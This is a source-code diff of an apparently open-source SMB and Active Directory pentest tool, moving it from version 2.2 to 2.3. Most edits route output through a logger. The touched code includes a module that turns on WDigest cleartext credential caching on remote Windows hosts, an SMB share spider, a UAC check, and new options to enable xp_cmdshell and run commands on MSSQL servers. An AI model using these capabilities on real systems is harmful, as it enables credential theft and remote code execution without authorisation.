from logger import *
from time import time, strftime, localtime
from impacket.smbconnection import SessionError
from remotefilesystem import RemoteFile
@ -10,11 +9,12 @@ from impacket.smb3structs import FILE_READ_DATA
class SMBSPIDER:
def __init__(self, host, smbconnection):
def __init__(self, logger, host, smbconnection):
self.__logger = logger
self.__smbconnection = smbconnection
self.__start_time = time()
self.__host = host
print_status("{}:{} Started spidering".format(self.__host, settings.args.port))
self.__logger.success("Started spidering")
def spider(self, subfolder, depth):
'''
@ -54,13 +54,13 @@ class SMBSPIDER:
for pattern in settings.args.pattern:
if re.findall(pattern, result.get_longname()):
if result.is_directory():
print_att(u"//{}/{}{} [dir]".format(self.__host, path, result.get_longname()))
self.__logger.results(u"//{}/{}{} [dir]".format(self.__host, path, result.get_longname()))
else:
print_att(u"//{}/{}{} [lastm:'{}' size:{}]".format(self.__host,
path,
result.get_longname(),
strftime('%Y-%m-%d %H:%M', localtime(result.get_mtime_epoch())),
result.get_filesize()))
self.__logger.results(u"//{}/{}{} [lastm:'{}' size:{}]".format(self.__host,
path,
result.get_longname(),
strftime('%Y-%m-%d %H:%M', localtime(result.get_mtime_epoch())),
result.get_filesize()))
if settings.args.search_content:
if not result.is_directory():
@ -85,13 +85,13 @@ class SMBSPIDER:
return
if re.findall(pattern, contents):
print_att(u"//{}/{}{} [lastm:'{}' size:{} offset:{} pattern:{}]".format(self.__host,
path,
result.get_longname(),
strftime('%Y-%m-%d %H:%M', localtime(result.get_mtime_epoch())),
result.get_filesize(),
rfile.tell(),
pattern.pattern))
self.__logger.results(u"//{}/{}{} [lastm:'{}' size:{} offset:{} pattern:{}]".format(self.__host,
path,
result.get_longname(),
strftime('%Y-%m-%d %H:%M', localtime(result.get_mtime_epoch())),
result.get_filesize(),
rfile.tell(),
pattern.pattern))
rfile.close()
return
@ -101,10 +101,8 @@ class SMBSPIDER:
if settings.args.verbose: traceback.print_exc()
except Exception as e:
print_error(str(e))
self.__logger.error(str(e))
if settings.args.verbose: traceback.print_exc()
def finish(self):
print_status("{}:{} Done spidering (Completed in {})".format(self.__host,
settings.args.port,
time() - self.__start_time))
self.__logger.error("Done spidering (Completed in {})".format(time() - self.__start_time))

View File

@ -1,10 +1,10 @@
from scripts.secretsdump import RemoteOperations
from impacket.dcerpc.v5 import rrp
from logger import *
class UACdump:
def __init__(self, smbconnection, doKerb):
def __init__(self, logger, smbconnection, doKerb):
self.logger = logger
self.smbconnection = smbconnection
self.peer = ':'.join(map(str, smbconnection.getSMBServer().get_socket().getpeername()))
self.doKerb = doKerb
@ -18,11 +18,11 @@ class UACdump:
keyHandle = ans['phkResult']
dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'EnableLUA')
print_succ("{} UAC status:".format(self.peer))
self.logger.success("Enumerating UAC status")
if uac_value == 1:
print_att('1 - UAC Enabled')
self.logger.results('1 - UAC Enabled')
elif uac_value == 0:
print_att('0 - UAC Disabled')
self.logger.results('0 - UAC Disabled')
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
remoteOps.finish()

View File

@ -1,11 +1,11 @@
from scripts.secretsdump import RemoteOperations
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from logger import *
class WdisgestEnable:
def __init__(self, smbconnection, doKerb):
def __init__(self, logger, smbconnection, doKerb):
self.logger = logger
self.smbconnection = smbconnection
self.peer = ':'.join(map(str, smbconnection.getSMBServer().get_socket().getpeername()))
self.doKerb = doKerb
@ -28,7 +28,7 @@ class WdisgestEnable:
rtype, data = rrp.hBaseRegQueryValue(self.rrp, keyHandle, 'UseLogonCredential\x00')
if int(data) == 1:
print_succ('{} UseLogonCredential registry key created successfully'.format(self.peer))
self.logger.success('UseLogonCredential registry key created successfully')
try:
remoteOps.finish()
@ -53,7 +53,7 @@ class WdisgestEnable:
#Check to make sure the reg key is actually deleted
rtype, data = rrp.hBaseRegQueryValue(self.rrp, keyHandle, 'UseLogonCredential\x00')
except DCERPCException:
print_succ('{} UseLogonCredential registry key deleted successfully'.format(self.peer))
self.logger.success('UseLogonCredential registry key deleted successfully')
try:
remoteOps.finish()

View File

@ -8,26 +8,25 @@ from gevent.pool import Pool
from gevent import joinall, sleep
from core.logger import *
from core.maingreenlet import connect
from core.greenlets import main_greenlet
from core.settings import init_args
from core.servers.mimikatz import http_server, https_server
from argparse import RawTextHelpFormatter
from netaddr import IPAddress, IPRange, IPNetwork, AddrFormatError
from logging import DEBUG
from random import sample
from string import ascii_lowercase
import re
import argparse
import sys
import os
VERSION = '2.2'
CODENAME = '\'All I want for Christmas is a better name for this\''
VERSION = '2.3'
CODENAME = '\'Pink Bubbles\''
if sys.platform == 'linux2':
if os.geteuid() is not 0:
root_error()
print_error('I needz r00tz!')
sys.exit(1)
parser = argparse.ArgumentParser(description="""
______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______
@ -48,7 +47,7 @@ parser = argparse.ArgumentParser(description="""
@pentestgeek's smbexec https://github.com/pentestgeek/smbexec
{}: {}
{}: {}
{}: {}
""".format(red('Version'),
yellow(VERSION),
red('Codename'),
@ -58,7 +57,7 @@ parser = argparse.ArgumentParser(description="""
version='{} - {}'.format(VERSION, CODENAME),
epilog='There\'s been an awakening... have you felt it?')
parser.add_argument("target", nargs=1, type=str, help="The target IP, range, CIDR identifier, hostname, FQDN or list or file containg a list of targets")
parser.add_argument("target", nargs='*', type=str, help="The target IP, range, CIDR identifier, hostname, FQDN or list or file containg a list of targets")
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (defaults to 100)")
parser.add_argument("-u", metavar="USERNAME", dest='user', type=str, default=None, help="Username(s) or file containing usernames")
parser.add_argument("-p", metavar="PASSWORD", dest='passwd', type=str, default=None, help="Password(s) or file containing passwords")
@ -139,13 +138,19 @@ wgroup.add_argument("--start-type", metavar='TYPE', help='Service start type')
wgroup.add_argument("--start-name", metavar='NAME', help='Name of the account under which the service should run')
wgroup.add_argument("--start-pass", metavar='PASS', help='Password of the account whose name was specified with the --start-name parameter')
mgroup = parser.add_argument_group("MSSQL Interaction", "Options for interacting with MSSQL DB's")
mgroup.add_argument("--mssql", nargs='?', const='', metavar='QUERY', help='Authenticate with the provided credentials against the MSSQL service, optionally execute the specified query')
mgroup.add_argument("--mssql-port", default=1433, metavar='PORT', help='MSSQL service port (default: 1433)')
mgroup.add_argument("--mssql-instance", action='store_true', help='Enumerate the MSSQL intances on the target hosts')
mgroup.add_argument("--enable-xpcmdshell", action='store_true', help='Enable xp_cmdshell on target DB\'s')
mgroup.add_argument("--disable-xpcmdshell", action='store_true', help='Disable xp_cmdshell on target DB\'s')
mgroup.add_argument("--xp-cmd", metavar='COMMAND', help='Execute the specified command using xp_cmdshell')
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
args.obfs_func_name = ''.join(sample(ascii_lowercase, 10))
args.target = args.target[0]
patterns = []
targets = []
@ -164,9 +169,9 @@ if args.server == 'https':
init_args(args)
if args.verbose:
setup_logger(args.target, DEBUG)
setup_logger('_'.join(args.target), DEBUG)
else:
setup_logger(args.target)
setup_logger('_'.join(args.target))
###################### Just a bunch of error checking to make sure everythings good to go ######################
@ -228,7 +233,7 @@ if args.ntds_history or args.ntds_pwdLastSet:
################################################################################################################
def get_targets(target):
def populate_targets(target):
if '-' in target:
ip_range = target.split('-')
try:
@ -243,30 +248,27 @@ def get_targets(target):
end_ip = IPAddress('.'.join(start_ip_words))
return IPRange(start_ip, end_ip)
t = IPRange(start_ip, end_ip)
except AddrFormatError:
return target
t = target
else:
try:
return IPNetwork(target)
t = IPNetwork(target)
except AddrFormatError:
return target
t = target
if os.path.exists(args.target):
with open(args.target, 'r') as target_file:
for target in target_file:
t = get_targets(target)
if type(t) is IPNetwork or IPRange:
targets.extend(list(t))
else:
targets.append(t)
else:
for target in args.target.split(','):
t = get_targets(target)
if type(t) == IPNetwork or type(t) == IPRange:
targets.extend(list(t))
else:
targets.append(t)
if type(t) == IPNetwork or type(t) == IPRange:
targets.extend(list(t))
else:
targets.append(t)
for target in args.target:
if os.path.exists(target):
with open(target, 'r') as target_file:
for target_entry in target_file:
populate_targets(target_entry)
else:
populate_targets(target)
if args.mimikatz or args.powerview or args.gpp_passwords or args.mimikatz_cmd or args.inject or args.ntds == 'ninja':
if args.server == 'http':
@ -282,7 +284,7 @@ def concurrency(targets):
'''
try:
pool = Pool(args.threads)
jobs = [pool.spawn(connect, str(target)) for target in targets]
jobs = [pool.spawn(main_greenlet, str(target)) for target in targets]
joinall(jobs)
except KeyboardInterrupt:
shutdown(0)